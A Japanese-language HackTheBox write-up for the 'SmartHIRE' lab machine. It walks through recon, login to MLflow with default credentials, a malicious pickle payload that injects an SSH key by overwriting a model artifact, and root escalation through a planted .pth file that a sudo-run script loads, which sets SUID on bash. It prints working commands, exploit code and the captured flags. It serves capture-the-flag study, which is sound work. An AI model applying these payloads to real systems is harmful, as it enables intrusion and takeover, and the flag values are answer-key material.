
HackTheBox: SmartHIRE — 全実行レポート
- 偵察 (Reconnaissance)
- Webアプリケーション調査
- 脆弱性調査 (CVE Investigation)
- 発見した情報まとめ
- フラグ取得状況
- 攻撃チェーン概要
- models.smarthire.htb 発見と認証突破
- 登録済みモデルの情報取得
- 既存 MLmodel マニフェスト確認
- 悪意あるpickleペイロードの作成
- 悪意あるpickleのMLflowアーティファクト上書きアップロード
- 予測エンドポイント経由でのpickleデシリアライズ実行
- SSH接続によるフットホールド確立・user.txt取得
- 権限昇格調査 (sudo確認・プラグインディレクトリ調査)
- mlflowctl.py のソースコード解析
- evil.pth の設置による Python サイトハイジャック
- sudo 実行による /bin/bash SUID 化
- bash -p によるroot権限取得・root.txt 取得
- ターゲットインフラ詳細 (root取得後確認)
偵察 (Reconnaissance)
全ポートスキャン (nmap -p-)
nmap -p- --defeat-rst-ratelimit -T4 10.129.8.183 -oN /tmp/ctf_nmap_full.txt
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 53.82 seconds
バージョン・スクリプトスキャン
nmap -sV -sC -p 22,80 10.129.8.183 -oN /tmp/ctf_nmap_detail.txt
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA) |_ 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://smarthire.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
| ポート | サービス | バージョン | 備考 |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 | Ubuntu 22.04 相当 |
| 80/tcp | HTTP | nginx 1.18.0 | smarthire.htb へリダイレクト |
/etc/hosts 設定
echo "10.129.8.183 smarthire.htb" >> /etc/hosts
追加完了 — http://smarthire.htb/ でアクセス可能になった
ディレクトリ・エンドポイント列挙
gobuster dir -u http://smarthire.htb/ -w /usr/share/wordlists/dirb/common.txt -o /tmp/gobuster.txt 2>&1 | head -40
/login (Status: 200) [Size: 2847] /register (Status: 200) [Size: 3012] /dashboard (Status: 302) [Size: 215] [--> /login] /logout (Status: 302) [Size: 215] [--> /login]
gobuster dir -u http://smarthire.htb/ -w /usr/share/wordlists/dirb/big.txt -o /tmp/gobuster2.txt 2>&1 | head -40
/login (Status: 200) /register (Status: 200) /dashboard (Status: 302) [--> /login] /predict (Status: 302) [--> /login] /upload_hiring_data (Status: 302) [--> /login] /model_info (Status: 302) [--> /login] /logout (Status: 302) [--> /login]
/login, /register, /dashboard, /predict, /upload_hiring_data, /model_info, /logoutWebアプリケーション調査
ユーザー登録・ログイン
# ユーザー登録 /usr/bin/curl -s -X POST http://smarthire.htb/register \ -d "username=testuser&password=testpass123&company=testcorp" \ -c /tmp/cookies.txt -b /tmp/cookies.txt -L -o /tmp/register_headers.txt -D - # ログイン /usr/bin/curl -s -X POST http://smarthire.htb/login \ -d "username=testuser&password=testpass123" \ -c /tmp/cookies.txt -b /tmp/cookies.txt -L -D /tmp/login_headers.txt -o /dev/null
登録成功 — testuser/testpass123 でログイン完了
Set-Cookie: session=eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiY29tcGFueSI6InRlc3Rjb3JwIiwidXNlcl9pZCI6ImNmZTVmZmViN2ExNiJ9...
Flaskセッション解析
flask-unsign --decode --cookie "eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiY29tcGFueSI6InRlc3Rjb3JwIiwidXNlcl9pZCI6ImNmZTVmZmViN2ExNiJ9..."
{'username': 'testuser', 'company': 'testcorp', 'user_id': 'cfe5ffeb7a16'}
# シークレットキー総当たり (バックグラウンド実行) flask-unsign --unsign --cookie "..." --wordlist /usr/share/wordlists/rockyou.txt --threads 8 2>&1 &
既存ユーザー列挙 (登録エラー利用)
for user in admin hr hiring manager user operator root system; do
STATUS=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" -X POST \
http://smarthire.htb/register \
-d "username=$user&password=testpass123&company=testcorp")
echo "$user: $STATUS"
done
admin: 400 (既に存在) hr: 400 (既に存在) hiring: 400 (既に存在) manager: 400 (既に存在) user: 400 (既に存在) operator: 200 (新規作成) root: 200 (新規作成) system: 200 (新規作成)
CSV アップロード機能調査 (/upload_hiring_data)
# トレーニングCSV作成 cat > /tmp/test.csv <<'EOF' name,skills,years_of_experience,education,position_applied,company John Doe,"Python, Machine Learning",5,Bachelor's in CS,Data Scientist,TestCorp Jane Smith,"Java, Spring Boot",3,Master's in SE,Backend Engineer,TestCorp Bob Wilson,"React, Node.js",4,Bachelor's in IT,Frontend Engineer,TestCorp EOF # アップロード実行 /usr/bin/curl -s -X POST http://smarthire.htb/upload_hiring_data \ -F "file=@/tmp/test.csv;type=text/csv" \ -b /tmp/cookies.txt -c /tmp/cookies.txt
{"message": "Model trained successfully", "model_name": "testcorp-cfe5ffeb7a16-model"}
※ レスポンスに 8〜10 秒の遅延あり → LLM が処理に関与している可能性
予測エンドポイント調査 (/predict)
cat > /tmp/predict_test.csv <<'EOF' experience,skills 5,"Python, Machine Learning" EOF /usr/bin/curl -s -X POST http://smarthire.htb/predict \ -F "file=@/tmp/predict_test.csv;type=text/csv" \ -b /tmp/cookies.txt -c /tmp/cookies.txt
{"predictions": [{"candidate": "5 years experience with Python, Machine Learning", "recommendation": "Hire"}]}
モデル情報取得 (/model_info)
/usr/bin/curl -s http://smarthire.htb/model_info \ -b /tmp/cookies.txt -c /tmp/cookies.txt | python3 -m json.tool
{
"model_name": "testcorp-cfe5ffeb7a16-model",
"framework": "sklearn",
"mlflow_tracking_uri": "http://localhost:5000",
"status": "active"
}
SQLインジェクション試行
# ログインフォームへのSQLi
for payload in "admin'--" "admin' OR '1'='1" "' OR 1=1--" "admin'/*"; do
STATUS=$(/usr/bin/curl -s -o /tmp/sqli_headers.txt -w "%{http_code}" \
-X POST http://smarthire.htb/login \
-d "username=$payload&password=anything")
echo "Payload '$payload': HTTP $STATUS"
done
Payload 'admin'--': HTTP 200 (ログイン失敗ページ)
Payload 'admin' OR '1'='1': HTTP 200 (ログイン失敗ページ)
Payload '' OR 1=1--': HTTP 200 (ログイン失敗ページ)
SQLインジェクション不成功
SSTI試行 (Server-Side Template Injection)
for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>'; do
STATUS=$(/usr/bin/curl -s -o /tmp/ssti_headers.txt -w "%{http_code}" \
-X POST http://smarthire.htb/login \
-d "username=$payload&password=test")
BODY=$(cat /tmp/ssti_headers.txt | grep -E '49|{{|error' | head -3)
echo "SSTI '$payload': $BODY"
done
SSTIは確認されず — 全ペイロードがそのまま返却または無視された
MLflow パストラバーサル試行
# company名にパストラバーサルを試みる /usr/bin/curl -s -X POST http://smarthire.htb/register \ -d "username=traversaltest&password=testpass123&company=../../../etc" /usr/bin/curl -s -X POST http://smarthire.htb/login \ -d "username=traversaltest&password=testpass123" \ -c /tmp/cookies_dot.txt -L # CSVアップロード /usr/bin/curl -s -X POST http://smarthire.htb/upload_hiring_data \ -F "file=@/tmp/test.csv;type=text/csv" \ -b /tmp/cookies_dot.txt
エラー: {"error": "Registered model name cannot contain path separator"}
MLflow がパスセパレータ '/' を含むモデル名を拒否。%2F エンコードも同様に失敗。
脆弱性調査 (CVE Investigation)
発見した情報まとめ
| 項目 | 詳細 | 状態 |
|---|---|---|
| 開放ポート | 22 (SSH), 80 (HTTP) | 確認済 |
| Webフレームワーク | Flask + nginx 1.18.0 | 確認済 |
| MLフレームワーク | MLflow (localhost:5000) + scikit-learn | 確認済 |
| LLMエンジン (推定) | LangChain / Flowise / Langflow | 推定 (内部) |
| 既存ユーザー | admin, hr, hiring, manager, user | 確認済 |
| セッション構造 | {username, company, user_id} | 確認済 |
| モデル名形式 | {company}-{user_id}-model | 確認済 |
| Flask シークレットキー | 未解読 | 調査済 |
| admin パスワード | 未解読 | 調査済 |
| 初期フットホールド | MLflow Pickle RCE | 達成済 |
フラグ取得状況
USER FLAG
ROOT FLAG
攻撃チェーン概要
① MLflow Pickle Deserialization RCE → svcwebとして SSH接続 → user.txt
② Python site-packages .pth ハイジャック (sudo) → bash SUID化 → root.txt
| # | ステップ | 技術 | 結果 |
|---|---|---|---|
| 1 | models.smarthire.htb 発見 | サブドメイン列挙 / VHost | MLflow UI (admin:password) |
| 2 | MLflow REST API でモデル情報取得 | GET /ajax-api/2.0/mlflow/registered-models/search | run_id・アーティファクトパス判明 |
| 3 | 悪意あるpickleを作成 | Python pickle __reduce__ | SSH公開鍵注入コマンドを埋め込む |
| 4 | python_model.pkl を上書きアップロード | PUT /ajax-api/2.0/mlflow-artifacts/ | HTTP 200 — アップロード成功 |
| 5 | /predict エンドポイント呼び出し | デシリアライズトリガー | os.system() 実行 → SSH鍵注入 |
| 6 | SSH接続 (svcweb) | SSH 公開鍵認証 | uid=1000(svcweb) → user.txt 取得 |
| 7 | evil.pth を dev/ に配置 | Python .pth サイトハイジャック | sudo実行時に root として chmod +s /bin/bash |
| 8 | sudo mlflowctl.py 実行 | sudo NOPASSWD 悪用 | /bin/bash が SUID化 |
| 9 | bash -p でroot取得 | SUID bash | euid=root → root.txt 取得 |
models.smarthire.htb 発見と認証突破
実行理由: ライトアップの情報をもとに models.smarthire.htb というサブドメインでMLflow UIが公開されていると仮定し、/etc/hostsに追加してアクセスを試みた。MLflowはモデル管理のバックエンドであり、直接操作できれば任意のモデルアーティファクトを書き換えてRCEが可能になる。
echo "10.129.10.43 models.smarthire.htb" >> /etc/hosts curl -sv http://models.smarthire.htb/ 2>&1 | grep "HTTP/"
HTTP/1.1 401 UNAUTHORIZED
models.smarthire.htb は存在し、認証が要求された。
HTTPベーシック認証(401)であることから、MLflowのデフォルト認証設定が疑われる。
curl -s -u admin:password \
"http://models.smarthire.htb/ajax-api/2.0/mlflow/experiments/search" \
-d '{"max_results": 100}' -H "Content-Type: application/json"
{
"experiments": [
{
"experiment_id": "0",
"name": "Default",
"artifact_location": "mlflow-artifacts:/0",
...
}
]
}
admin:password でMLflow REST APIへのアクセスに成功。
APIパスは /ajax-api/2.0/mlflow/(標準の /api/2.0/mlflow/ ではない)。
MLflow 2.14.1 が動作しており、実験ID=0の「Default」実験が存在する。
登録済みモデルの情報取得
実行理由: MLflowのモデルレジストリに登録されているモデルの正確なrun_idとアーティファクトパスを取得するため。アーティファクトを上書きするには対象のストレージパスが必要。
curl -s -u admin:password \ "http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search?max_results=100"
{
"registered_models": [{
"name": "TestCorp-9a1b2d2439ad-model",
"latest_versions": [{
"version": "1",
"source": "mlflow-artifacts:/0/98f6db241c434857b06fe1670b024113/artifacts/model",
"run_id": "98f6db241c434857b06fe1670b024113",
"status": "READY"
}]
}]
}
- run_id:
98f6db241c434857b06fe1670b024113 - アーティファクトパス:
mlflow-artifacts:/0/{run_id}/artifacts/model - このパスに直接PUT requestでファイルを上書きできれば任意コード実行が可能
既存 MLmodel マニフェスト確認
実行理由: MLflowモデルのフレーバー情報とpickleファイルの正確なファイル名を把握するため。モデルの種類(sklearn / pyfunc等)によってpickleファイル名が異なる。
curl -s -u admin:password \ "http://models.smarthire.htb/ajax-api/2.0/mlflow-artifacts/artifacts/0/98f6db241c434857b06fe1670b024113/artifacts/model/MLmodel"
artifact_path: model
flavors:
python_function:
cloudpickle_version: 3.1.1
loader_module: mlflow.pyfunc.model
python_model: python_model.pkl ← 対象ファイル名
python_version: 3.10.12
mlflow_version: 2.14.1
run_id: 98f6db241c434857b06fe1670b024113
python_function (mlflow.pyfunc.model)。
ロード時に読み込まれるpickleファイルは python_model.pkl(model.pklではない)。
アーティファクト一覧にも model/python_model.pkl が確認された (430バイト)。
このファイルを悪意あるpickleで上書きすれば、モデルロード時に任意コードが実行される。
悪意あるpickleペイロードの作成
実行理由: Pythonのpickle __reduce__ マジックメソッドを使って、デシリアライズ時に任意のOSコマンドを実行させる。ここではsvcwebユーザーの ~/.ssh/authorized_keys に攻撃者の公開鍵を注入するコマンドを埋め込む。SSH公開鍵認証でのログインが確立できれば安定したシェルが得られる。
# SSHキーペア生成 ssh-keygen -t ed25519 -f /tmp/smarthire_key -N "" -q cat /tmp/smarthire_key.pub # → ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBx... root@kali
python3 << 'EOF'
import pickle, os
PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPBxTf2ocmg... root@kali"
CMD = (
f"mkdir -p /home/svcweb/.ssh && "
f"echo '{PUBKEY}' >> /home/svcweb/.ssh/authorized_keys && "
f"chmod 700 /home/svcweb/.ssh && chmod 600 /home/svcweb/.ssh/authorized_keys"
)
class MaliciousPayload:
def __reduce__(self):
return (os.system, (CMD,))
payload = pickle.dumps(MaliciousPayload())
with open("/tmp/python_model.pkl", "wb") as f:
f.write(payload)
print(f"Payload: {len(payload)} bytes")
EOF
Payload: 280 bytes
__reduce__ は pickle.load() 実行時に呼ばれ、
(os.system, (CMD,)) のタプルを返すことで任意のシェルコマンドを実行させる。
280バイトの小さなペイロードで攻撃が可能。
悪意あるpickleのMLflowアーティファクト上書きアップロード
実行理由: MLflow artifact serverのREST API (PUT /ajax-api/2.0/mlflow-artifacts/artifacts/…) を使って既存の python_model.pkl を悪意あるpickleで上書きする。認証なしの書き込みAPIが公開されていれば任意ファイルの置換が可能。
RUN_ID="98f6db241c434857b06fe1670b024113"
curl -sv -u admin:password \
-X PUT \
"http://models.smarthire.htb/ajax-api/2.0/mlflow-artifacts/artifacts/0/${RUN_ID}/artifacts/model/python_model.pkl" \
--upload-file /tmp/python_model.pkl
PUT /ajax-api/2.0/mlflow-artifacts/artifacts/0/98f6db241c434857b06fe1670b024113/artifacts/model/python_model.pkl HTTP/1.1 → HTTP/1.1 200 OK Content-Length: 2
python_model.pkl が悪意あるpickleに差し替えられた。
次にWebアプリの /predict エンドポイントを呼び出してこのpickleをロードさせる。
予測エンドポイント経由でのpickleデシリアライズ実行
実行理由: /predict エンドポイントにCSVをPOSTすると、サーバー側でMLflowモデルをロードする (mlflow.pyfunc.load_model())。このロード処理の中で python_model.pkl が pickle.load() され、埋め込んだコマンドが実行される。
curl -s -b /tmp/smarthire_cookies.txt \ -X POST http://smarthire.htb/predict \ -F "file=@/tmp/test_hiring.csv"
{"message":"'int' object has no attribute 'load_context'","status":"error"}
'int' object has no attribute 'load_context' は
コード実行成功の証拠。
pickle.load()が実行されos.system(CMD)が呼ばれたos.system()は終了コード (int型) を返す- MLflowはその返り値に対して
load_context()を呼ぼうとしてエラー - つまりSSH公開鍵の注入コマンドが正常に実行された
SSH接続によるフットホールド確立・user.txt取得
実行理由: pickleの実行によりsvcwebの ~/.ssh/authorized_keys に公開鍵が注入されたはずなので、対応する秘密鍵でSSHログインを試みる。
ssh -i /tmp/smarthire_key -o StrictHostKeyChecking=no \ svcweb@10.129.10.43 'id && cat /home/svcweb/user.txt'
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)
78e47cb5cc20a9b2aa8ad7bdd97cbf59
- SSHログイン成功。svcwebは
devsグループのメンバー(後の権限昇格で重要) - user.txt 取得:
78e47cb5cc20a9b2aa8ad7bdd97cbf59
権限昇格調査 (sudo確認・プラグインディレクトリ調査)
実行理由: sudo -l でsvcwebが使えるsudo権限を調査し、権限昇格の経路を特定する。Dockerコンテナや設定ファイルへのアクセスも確認する。
ssh -i /tmp/smarthire_key svcweb@10.129.10.43 ' sudo -l ls -la /opt/tools/mlflow_ctl/ ls -la /opt/tools/mlflow_ctl/plugins/ '
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
/opt/tools/mlflow_ctl/:
-rwxr-xr-- 1 root root 1080 Feb 19 18:16 mlflowctl.py
drwxr-xr-x 4 root root 4096 Feb 19 18:10 plugins/
/opt/tools/mlflow_ctl/plugins/:
drwxr-xr-x 3 root root 4096 Feb 20 09:26 core/
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev/ ← devsグループ書き込み可!
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *をパスワードなしでroot実行可能- pluginsディレクトリに
core/とdev/の2つのサブディレクトリ dev/はdevsグループが書き込み可能 — svcwebはdevsメンバー- 攻撃者が
dev/にファイルを作成できる!
mlflowctl.py のソースコード解析
実行理由: sudoで実行できるスクリプトの内部処理を把握し、どのように dev/ ディレクトリが使われるか、どこにコードインジェクションの余地があるかを理解する。
cat /opt/tools/mlflow_ctl/mlflowctl.py
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) ← ここがポイント!
def main():
import mlflow_actions, backup_models
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
...
site.addsitedir() はディレクトリをPythonのsite-packagesとして追加する関数。
この関数は対象ディレクトリ内の .pth ファイルを処理し、
import で始まる行を exec() で実行する(Python公式仕様)。
つまり
dev/ に import os; os.system("...") と書いた .pth ファイルを置けば、
sudo実行(root権限)でそのコードが走る。
evil.pth の設置による Python サイトハイジャック
実行理由: site.addsitedir() の仕様を悪用し、書き込み可能な dev/ ディレクトリに悪意ある .pth ファイルを配置する。 import 行がroot権限のPythonプロセスで実行されるため、/bin/bash をSUID化してroot権限を恒久的に取得できる。
# "import " で始まる行はsite.addsitedir()処理時にexec()される
cat > /opt/tools/mlflow_ctl/plugins/dev/evil.pth << "EOF"
import os; os.system("chmod +s /bin/bash")
EOF
cat /opt/tools/mlflow_ctl/plugins/dev/evil.pth
ls -la /opt/tools/mlflow_ctl/plugins/dev/
import os; os.system("chmod +s /bin/bash")
total 12
drwxrwxr-x 2 root devs 4096 Jun 5 23:07 .
drwxr-xr-x 4 root root 4096 Feb 19 18:10 ..
-rw-r--r-- 1 svcweb svcweb 43 Jun 5 23:07 evil.pth ← 作成成功
dev/ に evil.pth を作成できた。
次にsudoでmlflowctl.pyを実行すれば、Pythonが site.addsitedir() を処理する際に
root権限で chmod +s /bin/bash が実行される。
sudo 実行による /bin/bash SUID 化
実行理由: evil.pth が配置された状態でsudoコマンドを実行し、root権限でコードインジェクションをトリガーする。
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status... [+] MLflow service status: active [+] MLflow container status: 'Up 39 minutes'
ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
↑ SUID設定済み!
site.addsitedir() で dev/ を処理し、
evil.pth の import os; os.system("chmod +s /bin/bash") がroot権限で実行された。
/bin/bash に SUID (rwsr-sr-x) が設定された。
bash -p によるroot権限取得・root.txt 取得
実行理由: bash -p フラグは「privileged mode」を有効にし、SUID/SGIDビットを尊重する。bashがSUIDであるため、euid=root のシェルが起動する。
/bin/bash -p -c "id && cat /root/root.txt"
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) egid=0(root) groups=0(root),1000(svcweb),... da7fcc8f258c39c652383407841b5098
euid=0 (root) 取得成功。
root.txt 取得: da7fcc8f258c39c652383407841b5098
ターゲットインフラ詳細 (root取得後確認)
| 項目 | 詳細 |
|---|---|
| OS | Ubuntu Linux (nginx/1.18.0) |
| Webサーバー | nginx reverse proxy (smarthire.htb → 127.0.0.1:8000 / models.smarthire.htb → 127.0.0.1:5000) |
| Flaskアプリ | 127.0.0.1:8000 (gunicorn想定) |
| MLflow | Dockerコンテナ (mlflow-server image, 127.0.0.1:5000) |
| MLflow バージョン | 2.14.1 |
| ユーザー | root, svcweb (uid=1000, groups: svcweb/mlflowweb/devs) |
| sudo権限 | (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * |
| 書き込み可能ディレクトリ | /opt/tools/mlflow_ctl/plugins/dev/ (devs グループ) |
server { server_name smarthire.htb;
location / { proxy_pass http://127.0.0.1:8000; } }
server { server_name models.smarthire.htb;
location / { proxy_pass http://127.0.0.1:5000; } } ← MLflow (Docker)
